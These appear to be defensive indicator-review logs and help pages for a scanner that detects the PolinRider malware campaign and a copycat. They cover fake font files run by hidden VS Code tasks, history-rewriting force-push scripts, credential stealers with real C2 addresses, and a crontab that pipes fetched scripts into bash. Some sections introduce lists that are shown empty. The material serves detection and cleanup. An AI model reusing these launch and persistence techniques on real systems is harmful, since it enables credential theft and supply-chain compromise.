• Small-file hashes: closed in 2.2.0 for the files the checks read whole: .vscode/tasks.json, font files and build configs are compared against hashes.txt at any size (ADR-0045). Still open for every other small file: the print.cjs dropper is not hashed where it usually sits.
• Python-side coverage: partly closed. Python .pth startup files are checked since 2.1.0 (ADR-0042). No entry has said what else this covers, so it is not carried as a gap of its own any more.

Still open, unchanged: authorized_keys, the blob-ID tier, the weak path tier, the regex content tier, and the font-vector .woff2 weights. The last is narrower than earlier entries say: the local font check catches any fake .woff2 by its first bytes, as the CI scanner does; what is missing is naming the weights, which needs the weak path or regex content tier.

New techniques — maintainer decisions, not implemented

None new this week.

Notes

• ioc/ is unchanged, so the Rust checks and fixtures were not re-run. The documentation site builds: npm ci && npm run build, 29 pages.
• No page, repository or record read during this review attempted to give the reviewer instructions.
• The OpenSSF clone and the dossier clone were kept outside the working tree.

How the trick works

It takes two files. The “font” sits where web fonts usually live, under public/fonts/, named like a Font Awesome file. Next to it, .vscode/tasks.json holds a task, usually labelled eslint-check, set to run when the folder opens with its output hidden. The task’s command runs the font with Node.js, and Node does not care what a file is called.

It works on people as well as editors. A fonts folder looks normal in a web project, and a font reads as a binary file, which most scanners and most reviewers skip.

OpenSourceMalware first described the trick in January 2026, in fake job-interview repositories handed to developers as coding tests. In April the same researchers found the PolinRider loader inside public/fonts/fa-solid-400.woff2 in a repository with no tasks.json at all, and concluded that the fake font was now part of PolinRider’s standard kit. It has since turned up in packages too. As OpenSourceMalware reports it, JFrog found two npm packages with a task that ran a file of that name, and Nextron found 16 Go modules carrying the same file. Neither of those reports named PolinRider; linking them to the campaign is OpenSourceMalware’s own reading.

The name keeps changing

In September OpenSourceMalware followed the fake through three repositories of one organization across 2026. It started as fa-solid-400.woff2 in April, became fa-solid-500.woff2 in early September and fa-solid-900.woff2 on 25 September, and three days later appeared as fa-solid-300.llf. The variants did not neatly replace each other: at one point the 500 and 900 versions were running side by side.

Three details make a name search even less reliable. fa-solid-900.woff2 is a genuine Font Awesome file name, and a real one sat in the same folder as the earlier fakes, so the name alone proves nothing either way. .llf is not a font extension, so a check that only reads .woff2 files misses it. And on 25 September the fake moved several levels deep into existing folders, under a different path in each repository.

The contents vary as well. Many builds start with a long run of whitespace, 421 tab characters in one case, so a quick look at the file shows nothing.

Copied by another group

In October OpenSourceMalware found the GhostAction campaign using a copy of the same launcher to run a credential stealer. It keeps the eslint-check label, the folder-open trigger and a Font Awesome name under public/fonts/, but the “font” is 38 lines of plain Node.js. The researchers found no shared indicators with any DPRK malware they had seen and, for now, call it a copycat. The same check finds both, and both need the same response.

Telling a real font from a fake

Do this from a terminal, without opening the project in an editor. The WOFF 2.0 specification requires every font file to begin with the signature wOF2, and WOFF 1.0 with wOFF:

head -c 4 public/fonts/fa-solid-400.woff2; echo

Anything else in a .woff2 or .woff file means it is not that font. Running file public/fonts/* helps too: on the January sample it reported JavaScript source text with very long lines. Then read .vscode/tasks.json as text. A task that runs node on a font file, or anything set to run on folder open that you did not write, is the launcher. Finally, search the whole tree for fa-solid-* and .llf files.

Two harmless cases look like fakes. A Git LFS pointer is a short text stub standing in for a font, and some projects ship an empty placeholder. Neither is malware. Never run the file to see what it does: running it is the infection.

If you find one

Do not open the folder in VS Code. If it asks whether to trust the folder, say no, and if it asks about the folder’s automatic tasks, choose Disallow. Treat any computer that opened the project as infected and check it before anything else.

Then look for the rest. The same repository can also carry a payload appended to a config file such as eslint.config.mjs, which runs without VS Code at all, whenever a lint run, a commit hook or a CI job loads it. Remove the fake font, the task and the appended payload together, then clean up in order: computers, credentials, repositories. The cleanup checklist has each step.

polinrider reads every .woff and .woff2 file and confirms one whose first bytes are not a font’s, skipping LFS pointers and empty files. It also knows published fakes by their hash, confirms .llf files by name and confirms a task that runs node on one of these fonts. A Font Awesome name it cannot confirm, such as a weight Font Awesome does not ship, is listed for you to review, because a name alone is not proof. If a result is unclear, the false positives reference explains the usual harmless matches.

Sources

• OpenSourceMalware, DPRK Contagious Interview “Fake Font” Abuses VS Code Tasks, 28 January 2026
• OpenSourceMalware, PolinRider DPRK Attack Expands Across GitHub, 12 April 2026
• OpenSourceMalware, PolinRider Caused Dozens of npm, Go, PHP Compromises, 31 July 2026
• OpenSourceMalware, PolinRider is A/B Testing its Way Past Your Detections, 26 September 2026
• OpenSourceMalware, GhostAction Copycats PolinRider by Hiding a Stealer in a Fake Font File, October 2026
• W3C, WOFF File Format 2.0 and WOFF File Format 1.0
• Our indicator reviews of 28 September and 5 October

This review ran two days after the last one, on a Wednesday rather than the Monday the schedule names, so its window is short. The 2026-10-19 review’s pull request (#55) is still open as a draft. This entry builds on its findings and does not repeat them: the eight reopened package names, pino-ulid, redis-type-xyz and the com.launchkeeper.pkg-agent LaunchAgent are that pull request’s, and are treated here as already proposed. This branch starts from main, so it does not contain them either.

Sources

Every source on the list was reached except socket.dev, as on 2026-10-19.

Upstream state

The dossier has not moved in fifteen weeks. No primary analysis of PolinRider was published between 2026-10-19 and 2026-10-21 that this review could find.

• OpenSourceMalware, “Glassworm Hacks OVH Clouds CLI tool”, 2026-10-19. Release binaries of five ovh/ovhcloud-cli versions were replaced through a contributor account that GlassWorm had held since March, with a ForceMemo style amend-and-force-push in that account’s own repositories. The post says in so many words: “We found no PolinRider markers, no malicious workflow additions and no GhostAction indicators.” Nothing here for ioc/. It is recorded because it lands under the ForceMemo search the routine runs, and because the history-rewrite technique is the same one this tool already checks for.
• html-to-gutenberg is still being poisoned. The OpenSSF record MAL-2026-6359 was updated on 2026-10-19 with three versions the 2026-10-05 review could not have seen: 4.2.24 (2026-10-11), 4.2.25 and 4.2.26 (2026-10-17), imported from GHSA-2gqj-wrf5-35w8. The record’s Amazon Inspector section describes this package’s payload as the fa-solid-500.woff2 folderOpen loader reading the 0xa322 wallet, which is PolinRider. The registry agrees: all three were published by the same single maintainer account, digelim, and have been removed; latest is still 4.2.10. So the publisher account, or the release automation behind it, was still in the attacker’s hands four days ago, five weeks after the last malicious release the set recorded. fetch-page-assets, from the same account, has had nothing new since 1.2.16 on 2026-08-30. The hijacked-versions comment in bad-packages.txt is updated to say so; the name itself stays a comment, because 4.2.10 and earlier are clean.

Two June package names this set never carried

The MicrosoftSystem64 search returned summaries naming utils-terminal@3.2.1 and logger-active@3.2.1. Neither is in ioc/, in any earlier review, or in the OpenSSF database. The summaries were not used; the names were traced to their primary source and read there:

• Microsoft Threat Intelligence, post on X, 2026-06-03 (status 2062013269687054695), read through Twitter’s public syndication endpoint: “Compromised npm packages (utils-terminal@3.2.1, logger-active@3.2.1) are abusing Hugging Face repos as exfiltration infrastructure. The packages deploy a remote access trojan (RAT) that captures keystrokes, screenshots, and crypto wallet credentials.” The attached image carries no text.
• ToolsLib’s write-up of the same post (2026-06-04) names the RAT as MicrosoftSystem64, the npm publisher as hexalpha10 and the author field as toskypi, the same author as eo-terminal and logger-draft (added 2026-10-12) and SafeDep’s whole js-logger-pack cluster. That is secondary and was not used for any line, but it is what ties these two to this set rather than to some other RAT.

On registry.npmjs.org on 2026-10-21 both are the 0.0.1-security placeholder. Each was first published as 3.2.0 on 2026-06-01, followed by 3.2.1 and 3.2.2 on 2026-06-03, and taken down the same day. There is no earlier history, so despite Microsoft’s word “compromised” these are attacker-created names, not hijacked ones, and under the rule since 2.1.0 the name alone is a finding.

Added

Also changed, not an indicator: the html-to-gutenberg line in the hijacked-versions comment of bad-packages.txt now lists 4.2.24 to 4.2.26 and says to treat any version above 4.2.10 as malicious. Source: MAL-2026-6359 as updated 2026-10-19, and the registry’s own version history.

Considered and not added

logger-active in bad-packages.txt. It is the same kind of name as logger-draft, which went into bad-packages.txt on 2026-10-12, and the two could reasonably be treated alike. It went to weak.txt because “active” is a UI state: className="logger-active" or a 'logger-active' string in a Tailwind safelist stands as a whole name, and the GitHub checks would call that repository INFECTED. A CSS selector .logger-active does not (a dot is part of a name to the whole-name matcher), but the weak tier is a substring match, so ci/scan-workspace.sh does put a review line on it. That is the cost of review tier and it was accepted. The maintainer may want to overrule this, or to move logger-draft the other way for consistency.

c2-toskypi.onrender.com. Listed by ToolsLib as a network indicator from Microsoft’s post. It is not in the post’s text, and the post’s image carries none; the list may come from a reply thread this review could not read. A secondary source only, so not carried. It would be a network.txt line if a primary source confirms it.

hexalpha10. The npm publisher account, per ToolsLib only. An account name is not something a scan of files would find.

The microsoftsystem64 crate on crates.io (RUSTSEC-2026-0102). Nine versions published 2026-04-09, removed for an SSH authorized_keys backdoor and file and Telegram tdata exfiltration, reported by Socket and sitsh. It shares the implant’s name in lower case, and the authorized_keys behaviour matches the toskypi RAT. But the advisory names no actor and no source reachable here connects it to PolinRider, and bad-packages.txt is checked against npm manifests, not Cargo.toml. Recorded so the next reviewer does not re-derive it; worth carrying if a source ties it to the campaign.

Everything in the OVH post: the GlassWorm Solana wallet, the HassenBF account, the replaced release assets. A different actor by the source’s own statement.

The other 63 OpenSSF records. Already in ioc/, in its comments, or in pull request #55.

Open gaps

The July 2026 ecosystem expansion. Carried forward for the seventh week. socket.dev is still 403 and no reachable secondary source carries the list.

The eight reopened names. Re-checked and added by the 2026-10-19 review; closed once #55 merges, open on main until then.

The \u-escape problem. The 2026-10-19 entry asked for this to be confirmed against a sample. Done: a tailwind.config.js whose only indicator is "global['!']", the strong.txt marker global['!'] with its first letter escaped, exits 2 under both polinrider check --fs-only and ci/scan-workspace.sh. Closed, by 2.1.0 and ADR-0040.

weak.txt has no effect on the local check. Unchanged from 2026-10-12, and re-confirmed with this week’s weak entry: polinrider check --fs-only on a manifest that depends on logger-active exits 0 with no review line, and ci/scan-workspace.sh --fail-on review on the same folder exits 1 with one. That makes this week’s classification matter more than usual: on the machine and folder checks, logger-active is invisible.

The npm CLI persistence, small-file hashes, the blob-ID tier, the weak path tier, the regex content tier, the font-vector .woff2 forms, Python-side coverage. Carried forward unchanged.

New techniques — maintainer decisions, not implemented

None new this week. The authorized_keys check proposed on 2026-10-12 gains a second reason: the toskypi RAT and the microsoftsystem64 crate both write to that file.

Notes

• Fixtures, all outside the working tree, run with the release binary and with ci/scan-workspace.sh:
  • a manifest that depends on utils-terminal exits 2 under both;
  • a manifest that depends on logger-active exits 0 under the binary (the gap above) and 1 under ci/scan-workspace.sh --fail-on review;
  • the near-miss folder exits 0 under both, with --fail-on review: a manifest naming utils-terminal-pro, terminal-utils, logger-activity and html-to-gutenberg 4.2.10, and a stylesheet with .utils-terminal and .logger-activity selectors;
  • a stylesheet with a .logger-active selector gets one review line from ci/scan-workspace.sh and nothing from the binary, as described above.
• cargo fmt --check, cargo clippy -D warnings, cargo test (208 passed), conformance/run.sh (109 passed) and ci/selftest.sh all pass on this branch. polinrider --version reports 43 strong, 95 packages, 33 network, 7 implant names, 26 weak.
• No page, repository or record read during this review attempted to give the reviewer instructions.
• The OpenSSF clone was deleted after the search.
• The commits on this branch are signed with the maintainer’s key from inside the session, and GitHub shows them as verified. That took a fix the routine’s signing setup does not make. The container’s global git config sets gpg.ssh.program to its own signing wrapper (/tmp/code-sign), which signs with the container’s key whatever user.signingkey says. The routine’s five checks all passed, the commit carried a signature, and GitHub still reported unknown_key. Setting gpg.ssh.program to ssh-keygen in the repository’s local config fixed it. This is almost certainly why the 2026-10-19 commit (55ab997, #55) is unverified, unknown_key, despite that entry saying it was signed with the maintainer’s key. The routine’s setup block should set or check gpg.ssh.program too.

Sources

The egress allowlist has widened again since last week. Every analysis host that failed on 2026-10-12 answered this week:

This review reached every source on the list except socket.dev. That is a stronger claim than last week’s.

Upstream state

The dossier has not moved in fourteen weeks. No primary analysis of a new PolinRider wave was published between 2026-10-12 and 2026-10-19 that this review could find. What was published:

• OpenSourceMalware, “GhostAction Copycats PolinRider by Hiding a Stealer in a Fake Font File”, 2026-10-16. A cluster of 94 repositories, 79 analysed, received a second stage that is PolinRider’s launcher with a different payload. The .vscode/tasks.json is a hidden eslint-check task with runOn: folderOpen that runs node ./public/fonts/fa-solid-400.woff2, and the “font” is 38 lines of plain JavaScript. It steals credential files and SSH keys, posts them to 193.32.204.199:8080, and installs a cron entry tagged #ghc2 that fetches and runs a script every five minutes. The source is explicit: “There’s no shared IOCs between GhostAction and any other DPRK malware we’ve seen, so at this time we’re labeling this a copycat rather than an extension of PolinRider.” See considered and not added, and the note on the existing strong.txt entry below.
• The same post found one repository, daxitzadafiya/bagisto-dhs, carrying both GhostAction and a genuine PolinRider infection: three Tailwind configs with the TRON/Aptos/BSC loader appended after ~1,700 spaces, force-pushed on 2026-06-25 with temp_auto_push.bat added to .gitignore. The source says its “blockchain addresses, keys and delimiter match the PolinRider indicators we already track”. Nothing new to add from it.
• OpenSourceMalware, “How to Investigate a GitHub Repo’s Real History”, 2026-10-06. A forensics guide built on a PolinRider case, nestjsx/nest-access-control, whose malicious commit is dated 2025-12-24 but was force-pushed on 2026-09-08. No indicators; it describes the technique this tool already handles.
• The OpenSourceMalware Show #24 (2026-10-09) and #25 (2026-10-15). #25 discusses GitHub’s new push-attribution preview (Enterprise only) as a way to spot PolinRider rewrites. Neither episode carries indicators.
• Socket’s tracker is quoted by a search summary at “199 artifacts (123 unique packages)”, up from 196 and 121 last week. Read through a search summary only.

The OpenSSF search, keyed on last week’s C2

The database was searched with the same key as 2026-10-12 plus 95.216.232.162, the MicrosoftSystem64 C2 that week added to network.txt, and launchkeeper. Of the 83 records it returned, 81 were already in bad-packages.txt, in its hijacked-versions comments, or among the eight reopened names. The two new ones both key on 95.216.232.162, which is why last week’s search could not have found them:

• pino-ulid (MAL-2026-16154, published 2026-09-14). The same postinstall dropper as ulid-xyz: the same 8-byte XOR key, the same C2 on port 8010, the same deploy_binary command and the same os.cpus() sandbox check. But the agent is renamed: its persistence is ~/Library/LaunchAgents/com.launchkeeper.pkg-agent.plist, ~/.config/systemd/user/pkg-agent.service, ~/.config/autostart/pkg-agent.desktop and a Run value and task named pkg-agent. Fully unpublished on npm.
• redis-type-xyz (MAL-2026-11205, published 2026-06-17). An empty copy of Redis OM whose only effect is to depend on ulid-xyz. It is still live on npm (latest 2.1.1, which depends on ulid-xyz ^3.2.0). All three versions were published by one throwaway account, qmtijao982, within two hours, and the name belongs to no legitimate package. The maintainer may want to report it to npm.

The eight reopened names

The overview reopened eight names that earlier reviews rejected only because they were substrings of live packages. Each was re-checked against its source and against registry.npmjs.org on 2026-10-19:

All eight are attacker-owned and none is the name of a live legitimate package, so under the rule since 2.1.0 each goes in bad-packages.txt. Proved against the release binary: a manifest naming the longer live packages (sass-formatter, typeorm-encrypted, clsx-tailwind-merge, tailwind-animate, tailwindcss-animate, tailwind-container-queries-2d, tailwindcss-forms, @webdev-config/eslint) exits 0, and one naming the campaign names exits 2.

Added

The two comment blocks in bad-packages.txt that recorded the substring rejections are reworded to say the names were left out until this review, with the original reasoning kept.

Considered and not added

sass-format in weak.txt. Weighed first, because it is also a conceivable task or script label, and a tasks.json is matched as content, so a task labelled sass-format would read as a confirmed hit. Rejected because weak.txt is a substring match: ci/scan-workspace.sh put a review line on a fixture whose only content was a manifest naming sass-formatter, which has about 750,000 downloads a week. That is certain noise against a speculative false positive, and it is the noise whole-name matching was built to remove. The residual risk is recorded here for the maintainer to overrule.

~/.config/systemd/user/pkg-agent.service, ~/.config/autostart/pkg-agent.desktop, and the pkg-agent Run value and scheduled task. From the same pino-ulid record. pkg-agent is a name a legitimate tool could use, and implant-paths.txt is INFECTED tier with no weaker path tier. The LaunchAgent is carried because of its com.launchkeeper prefix; these two have nothing equivalent. The Run value and task are host state, not an indicator line.

pkg-agent in implant-names.txt. The agent runs as node payload.js, not as a binary called pkg-agent, and the name is generic. See techniques.

The pino-ulid payload hash, 3a9089e9…0a7c6a50. dist/node/payload.js, about 456 KB. hashes.txt only fires on files between 10 MB and 300 MB or on an implant-paths.txt path, so it would never be compared: the small-file hash gap, carried below.

Everything from GhostAction: 193.32.204.199, the #ghc2 crontab marker, the eslint-check task label, the DEVBOX report header, the seven second-stage workflow names, the four file hashes and the Ov23ctrqCqZ79UaYKwyq OAuth client ID. The source labels it a copycat with no shared indicators. ioc/ is PolinRider’s set, and network.txt is described to users as campaign infrastructure and an egress block list. Whether this tool should also carry a copycat that borrows the launcher is a maintainer decision; see notes.

nestjsx/nest-access-control and daxitzadafiya/bagisto-dhs. Victim repositories, not indicators.

The July 2026 Socket package list. thehackernews.com is reachable again, so its July article on the 108 packages was read in full. It gives counts by ecosystem (19 npm, 10 Composer, 61 Go, one Chrome extension) and no names. The list is still only on socket.dev.

The other 81 OpenSSF records. Already in ioc/ or in its comments.

Open gaps

The July 2026 ecosystem expansion. Carried forward for the sixth week. Every secondary source is reachable again this week and none carries the list; socket.dev is the only place it is published, and it is 403. The tracker now reportedly counts 123 unique packages against 108 in July.

The eight substring rejections. Closed by this review; see above.

weak.txt has no effect on the local check. Unchanged from 2026-10-12. Re-confirmed: polinrider check --fs-only on a manifest naming hex-type exits 0, and ci/scan-workspace.sh on the same folder exits 1 with one review line.

The \u-escape problem. The overview and ADR-0040 say 2.1.0 decodes \uXXXX, \u{...} and \xNN before matching, so this gap looks closed by the release rather than by a review. Not re-tested this week; the next review should confirm it against a sample and close it in writing.

The npm CLI persistence, small-file hashes, the blob-ID tier, the weak path tier, the regex content tier, the font-vector .woff2 forms, Python-side coverage. Carried forward unchanged. The small-file hash gap turned away one more published hash this week.

New techniques — maintainer decisions, not implemented

1. The MicrosoftSystem64 agent is being renamed. pino-ulid installs the same agent as ulid-xyz, with the same key and C2, as pkg-agent. Every per-OS path in implant-paths.txt and every name in implant-names.txt is keyed on MicrosoftSystem64, so the only thing that catches this build on a machine is the one LaunchAgent added today, on macOS. A check keyed on the com.launchkeeper. prefix in ~/Library/LaunchAgents, rather than on full file names, would survive the next rename. On Linux and Windows nothing catches it yet. This reinforces item 2 of 2026-10-12: a check for a running node whose script sits under a known agent directory.
2. A crontab check. The GhostAction copycat persists as a crontab line that pipes a fetched script into bash, tagged #ghc2. Nothing here reads the user’s crontab. If the maintainer decides copycats are in scope, a check that flags a crontab line piping curl or wget into a shell would catch this and the next copycat with a different tag.

Notes

• This tool already reports the GhostAction copycat as INFECTED, through the existing strong.txt entry node ./public/fonts/fa-solid-400.woff2, which its byte-identical tasks.json carries. That verdict is correct: the repository is infected. But the guidance that follows a finding is written for PolinRider, and for this payload it misses the one thing that keeps running after cleanup, the #ghc2 crontab line. The maintainer may want the documentation to mention it, or to decide whether GhostAction’s indicators belong in ioc/.
• cargo fmt --check, cargo clippy -D warnings, cargo test (208 passed), conformance/run.sh (109 passed) and ci/selftest.sh all pass on this branch. polinrider --version reports 43 strong, 104 packages, 33 network, 7 implant names, 25 weak.
• Fixtures, all outside the working tree, run with the release binary: two manifests naming the ten new package names exit 2; a folder holding LaunchAgents/com.launchkeeper.pkg-agent.plist exits 2; the near-miss folder (the eight longer live packages above plus pino, ulid, redis-om, a com.example.pkg-agent.plist, a pkg-agent.service and a stylesheet mentioning sass-formatter) exits 0 under both the binary and ci/scan-workspace.sh. No weak.txt entry was added, so the weak tier was proved on the existing hex-type entry through ci/scan-workspace.sh (exit 1), for the reason in open gaps.
• No page, repository or record read during this review attempted to give the reviewer instructions.
• The OpenSSF clone was deleted after the search.
• The commits on this branch are signed with the maintainer’s key from inside the session, per the routine’s 2026-10-19 change.

What the script does

OpenSourceMalware published the script in full in its first report on the campaign, in March 2026. It is a Windows batch file, and run inside a Git repository it does something careful. It reads the current branch and the last commit’s date, time, message and author. It sets the Windows clock back to that commit’s date and time, and sets the repository’s Git name and email to that commit’s author. It stages every change in the folder and amends the last commit with the same message, skipping any commit hooks. Then it puts the clock right and force-pushes the branch to origin, again skipping hooks.

By the time it runs, another part of the malware has already appended its loader to a config file such as postcss.config.mjs, tailwind.config.js or eslint.config.mjs. The script folds that change into a commit that already existed and pushes it over the original.

Why your history still looks clean

Because the clock was wound back, Git records the amended commit with the old date. The author, the message and the branch are all unchanged. Reading git log, the commit looks as if nobody touched it.

Two things do change. The commit gets a new ID, since a commit’s hash covers everything in it, but that only helps if you still have a copy from before. The more useful one is GitHub’s record of the push itself. As OpenSourceMalware showed in its October guide to investigating a repository’s real history, the activity feed lists every push and force-push with the account that made it and GitHub’s own time. None of that comes from the commit, so a changed clock or a changed Git name cannot forge it. Our page on why your Git history looks clean shows where to find it.

In the repository, or only in .gitignore

You can meet the name in two ways. The first is the file itself, committed. OpenSourceMalware uses the name to find victims: a GitHub code search for it in April found 101 repositories, 22 of which also carried a malicious .vscode/tasks.json.

The second is quieter. In September OpenSourceMalware reported that infected computers add this block to .gitignore:

config.bat
temp_auto_push.bat
temp_interactive_push.bat
branch_structure.json

These are the push tool’s working files on the developer’s own computer, and the entries keep them out of git status so nobody notices them. The team found the block in every infected organization it examined. Where it appears, at least one contributor’s computer is infected, even if no payload has reached that repository yet. One repository traced in October shows how it looks in practice: its history dated a commit April 2025, but a force-push in June 2026 had replaced it with a rewritten copy that added the script to .gitignore.

Not only a Windows problem

The script found so far is a batch file, and changing the Windows clock needs administrator rights. OpenSourceMalware has also reported evidence of the same history rewriting on other operating systems, though no tool was left behind there. Not finding the .bat file on a Mac or a Linux machine does not clear it.

How it spreads between people

The script runs on the infected computer with the credentials already stored there, and it runs again whenever its trigger fires: a scheduled task, a background process or someone opening an infected project again. A teammate who opens one of the rewritten repositories in VS Code and trusts the folder is infected in turn, and their computer starts doing the same. VS Code’s Workspace Trust prompt is the main thing standing in the way.

If you publish a Go module or a Composer package straight from the repository, the rewritten commit is the release. OpenSourceMalware has reported compromised Go modules spread this way.

What to do

Do not open the repository in an editor, and do not install or build it, until it has been checked. If VS Code asks whether to trust the folder, say no.

Then find the computer. In the repository’s activity feed, look for the force-pushes and the account that made each one. The feed records whose credentials pushed, not who was at the keyboard, so treat that account’s owner as a probable victim. If the name only appears in .gitignore, every contributor’s computer is a candidate.

Check that computer before anything on GitHub. Look for temp_auto_push.bat and config.bat anywhere on its disk, then check the rest of it. polinrider reports temp_auto_push.bat and temp_interactive_push.bat as confirmed wherever it finds them. On GitHub it flags a .gitignore that lists them for review instead, because that points at a contributor’s computer rather than a payload in the repository. Once the computer is clean, change every credential from a clean machine, then clean the repositories and start signing your commits. The cleanup checklist has each step.

Sources

• OpenSourceMalware, Hundreds of GitHub Repos Compromised By DPRK’s PolinRider Campaign, 8 March 2026
• OpenSourceMalware, PolinRider DPRK Attack Expands Across GitHub, 12 April 2026
• OpenSourceMalware, PolinRider Jumps the Fence to Go, Packagist, npm, PyPI, 8 July 2026
• OpenSourceMalware, PolinRider Caused Dozens of npm, Go, PHP Compromises, 31 July 2026
• OpenSourceMalware, A Developer’s Guide to Getting Rid of PolinRider, August 2026
• OpenSourceMalware, PolinRider is A/B Testing its Way Past Your Detections, 26 September 2026
• OpenSourceMalware, How to Investigate a GitHub Repo’s Real History, 6 October 2026
• OpenSourceMalware, GhostAction Copycats PolinRider by Hiding a Stealer in a Fake Font File, October 2026
• Our indicator review of 28 September, on where these names sit in the scanner

Sources

The egress allowlist has narrowed sharply since last week. Every analysis host that served content on 2026-10-05 now fails at the proxy with a CONNECT 403 from curl, and with a DNS failure from the web-fetch tool:

This is the state the standing appendix describes for 2026-09-07, not the one the directory README’s source table describes. The table is left as it is, because it records what was true when it was written; this row is the correction. This review is therefore a weaker claim than the last three: it reached the dossier, the OpenSSF database and the registries, and saw everything else only through search summaries, which are enough to know that something was published and never enough to lift a string from.

What saved the week is that the OpenSSF malicious-packages database is a GitHub repository and is still readable:

Upstream state

The dossier has not moved in thirteen weeks. No primary analysis of PolinRider published between 2026-10-05 and 2026-10-12 was found, and the hosts where one would most likely appear could not be read, so “none found” is the honest statement and “none published” is not.

Secondary coverage inside the window, none of it readable here:

• GBHackers, 2026-10-08, “ChainDrop and PolinRider Use Blockchain C2 to Steal Cloud and CI/CD Credentials”. Per the search summaries it pairs Unit 42’s ChainDrop analysis (a self-propagating npm worm in the Shai-Hulud family, ~400 packages, Ethereum smart-contract C2) with a recap of PolinRider’s multi-chain fallback. ChainDrop is reported as a separate actor (TeamPCP), not DPRK. Nothing about PolinRider in the summaries is new to this set.
• Socket’s tracker is quoted in one summary as now reporting “196 affected package artifacts across 121 unique packages”, up from the July figure of 162 across 108. If accurate, the July gap below has grown by thirteen packages. Read through a search summary only; the tracker itself is 403.

Why the OpenSSF search found ten more names this week

The 2026-10-05 search keyed on the Ethereum dead-drop indicators: the 0xa322 wallet in both cases, /0x/cls and the 33ff3eda… sender check. It found 71 records. This week the key was widened to every indicator in ioc/ that a record’s prose could quote — MicrosoftSystem64, the four TRON wallets, the campaign UUID, x-payload-b64, test26330331 and the literal word PolinRider. That returned 62 records. None was published after 2026-10-04, so this is not new campaign activity: it is ten names from April to July that the previous search shape could not reach.

• Two records describe themselves in their own words as “part of PolinRider campaign”: tailwindthml-flips and tailwind-typography-cssstyle, April 2026, Amazon Inspector and indece.
• Eight install the MicrosoftSystem64 second stage: the same three per-OS directories implant-paths.txt carries, the same com.launchkeeper.MicrosoftSystem64.plist LaunchAgent, the same systemd and autostart names, and — for the three toskypi / nhpkevte1576 packages — the same C2, 195.201.194.107:8010, already in network.txt. Five pose as the ulid library.

All ten were checked against registry.npmjs.org on 2026-10-12. Every one is the 0.0.1-security placeholder, which is what npm leaves when it treats a package as wholly malicious rather than hijacked, so the name alone is a finding. For the substring trap: a registry search on each name, plus direct lookups of the obvious superstrings (neo-terminal, geo-terminal, video-terminal, eo-terminals, hex-types, hex-typed, color-hex-type, is-hex-type, msc-terminals, logger-drafts, check-ulids, index-ulids, void-ulids, @types/hex-type and others), found nothing published that contains any of them.

Added

95.216.232.162 rests on one record, where most of network.txt has two sources. It is carried because the record ties it to this implant by every other property this set already matches on, and because a false match on network.txt needs a live connection from a node or Electron process to that exact address.

Considered and not added

bink@DESKTOP-N8JGD6T. The comment on the attacker RSA key that the eo-terminal payload appends to ~/.ssh/authorized_keys (MAL-2026-4345). A match would mean infection with no plausible alternative, so it is strong.txt-grade — but nothing would ever compare it. strong.txt is matched by the local check only inside build configs, tasks.json, hooks, extensions and manifests, never in ~/.ssh; the precedent is the one that keeps small-file hashes out of hashes.txt. See techniques: this wants a check, not a line.

yszf984308/system-release. The Hugging Face repository the toskypi packages exfiltrate to. The same record says the configuration strings are XOR and base64 obfuscated in dist/config.js, so the name does not occur in a scanned file. Unlike Lordplay/system-releases and jpeek998/system-releases, which strong.txt carries as delivery locations, no source here says this one appears in plain text.

The XOR key [90, 60, 126, 18, 159, 75, 109, 138]. Readable as an array literal in the source’s description, but whether the file writes it with spaces, without, or minified is not stated, and a fixed string has to bet on one.

The HKCU Run key, the scheduled task name \MicrosoftSystem64, MicrosoftSystem64.service and MicrosoftSystem64.desktop. All either already in implant-paths.txt or registry and task-scheduler state, which is a host check, not an indicator line.

~/.pcl-data/offline-queue.jsonl. Inside ~/.pcl-data, already carried.

The npm-cache[.]com, pypi-get[.]com, js-mirror[.]com domains and the 0xE1f2395e… contract. ChainDrop, per Unit 42 via search summaries. A separate actor by every account seen, and not readable here regardless.

Everything in GBHackers and Socket’s updated tracker count. Search summaries only.

The other 52 of this week’s 62 OpenSSF records. Already in bad-packages.txt, already a comment in its hijacked block, or one of the eight substring rejections recorded on 2026-09-14 and 2026-10-05. Nothing to reopen.

Open gaps

The July 2026 ecosystem expansion. Carried forward for the fifth week, and less reachable than last week, not more. socket.dev is 403, and so now is every secondary source that summarised it. If the tracker’s reported 121 packages is right, the gap is thirteen packages wider. ChainVeil and ViteVenom are covered since 2026-09-14; the Socket list is the open part.

The eight substring rejections (sass-format, typeorm-encrypt, clsx-tailwind, tailwind-anim, tailwindcss-anim, tailwind-container-queries, webdev-conf, tailwindcss-form). Unchanged. Still need a whole-name check against a parsed manifest, and hex-type now sits in weak.txt for the same underlying reason.

The \u-escape problem. Unchanged since 2026-10-05: a whole loader family is written so that grep -F against ioc/ finds nothing in it.

The npm CLI persistence, small-file hashes, the blob-ID tier, the weak path tier, the regex content tier, the font-vector .woff2 forms, Python-side coverage. All carried forward unchanged from 2026-10-05.

New: weak.txt has no effect on the local check. Found while proving this week’s additions. polinrider check --fs-only on a folder whose tailwind.config.js contains api.trongrid.io, files.catbox.moe and hex-type exits 0 with no review line. In src/ the weak list is read by the GitHub path (remote.rs) and by nothing else, and ci/scan-workspace.sh reads it too. This is not a 2.0 regression: in 1.x, lib/local-common.sh defined has_weak and never called it. But ioc/README.md and the docs site both say the effect of weak.txt is a review line, and for the machine and folder checks that has never been true. Whether the folder check should read it is a maintainer decision; until then, review-tier indicators reach only the CI scanner and the GitHub checks.

New techniques — maintainer decisions, not implemented

1. An authorized_keys check. The MicrosoftSystem64 RAT in the toskypi packages appends its own RSA key to ~/.ssh/authorized_keys, so a machine cleaned of the implant can still be entered over SSH. Nothing here reads that file for content; the credential inventory lists ~/.ssh for rotation. A check that flags an authorized_keys line whose comment matches a list — starting with bink@DESKTOP-N8JGD6T — would be small, and the cleanup advice should say to review authorized_keys regardless, since the next build can use a different comment.
2. The JavaScript form of the implant runs as node. The ULID-cluster packages copy payload.js into the MicrosoftSystem64 directory and run it as node payload.js --agent, not as a native binary. implant-names.txt is matched against the process name only, by design, so this process is invisible to the process check; it is caught by the implant-paths.txt directories and, from this week, by the .vbs launcher on Windows. A check that asks whether any running node has a script under a MicrosoftSystem64 directory would close it without matching a full command line.
3. Sandbox evasion by core count. Every record in the family exits when os.cpus().length <= 4. That means a CI runner or a small VM used to test a suspicious package will see nothing, which is worth one sentence in the documentation for anyone triaging by running the package.

Notes

